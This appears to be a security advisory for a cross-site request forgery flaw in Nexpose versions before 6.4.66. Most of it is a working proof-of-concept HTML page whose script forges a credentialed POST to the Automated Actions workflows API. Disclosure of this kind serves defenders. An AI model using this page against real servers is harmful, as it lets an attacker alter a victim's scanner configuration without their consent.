Description: Versions of Nexpose prior to 6.4.66 fail to adequately
validate the source of HTTP requests intended for the Automated
Actions administrative web application, and are susceptible to a
cross-site
request forgery (CSRF) attack.
Affected URL/endpoint:
https://nexpose-server.com/eso/conductor-service/api/workflows
Proof Of Concept:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST",
"https:\/\/nexpose-server.com\/eso\/conductor-service\/api\/workflows\/",
true);
xhr.setRequestHeader("Accept", "application\/json,
text\/javascript, *\/*; q=0.01");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application\/json");
xhr.withCredentials = true;
var body =
"{\"name\":\"test2\",\"steps\":[{\"serviceName\":\"nexpose\",\"stepConfiguration\":{\"typeName\":\"discover-known-assets\",\"previousTypeName\":\"\",\"configurationParams\":{\"valueClass\":\"Object\",\"objectType\":\"siteMetadata\",\"properties\":{\"siteID\":{\"valueClass\":\"Array\",\"items\":[{\"valueClass\":\"Integer\",\"value\":67}]},\"VULN_CATEGORY\":{\"valueClass\":\"Array\",\"items\":[{\"valueClass\":\"Object\",\"objectType\":\"VULN_CATEGORY_ITEM\",\"properties\":{\"operator\":{\"valueClass\":\"String\",\"value\":\"CONTAINS\"},\"operand1\":{\"valueClass\":\"String\",\"value\":\"dos\"}}}]}}}}},{\"serviceName\":\"nexpose\",\"stepConfiguration\":{\"typeName\":\"tag\",\"previousTypeName\":\"discover-known-assets\",\"configurationParams\":{\"valueClass\":\"Object\",\"objectType\":\"tag\",\"properties\":{\"tagID\":{\"value\":339,\"valueClass\":\"Integer\",\"text\":\"Test\"}}}}}]}";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request"
onclick="submitRequest();" />
</form>
</body>
</html>
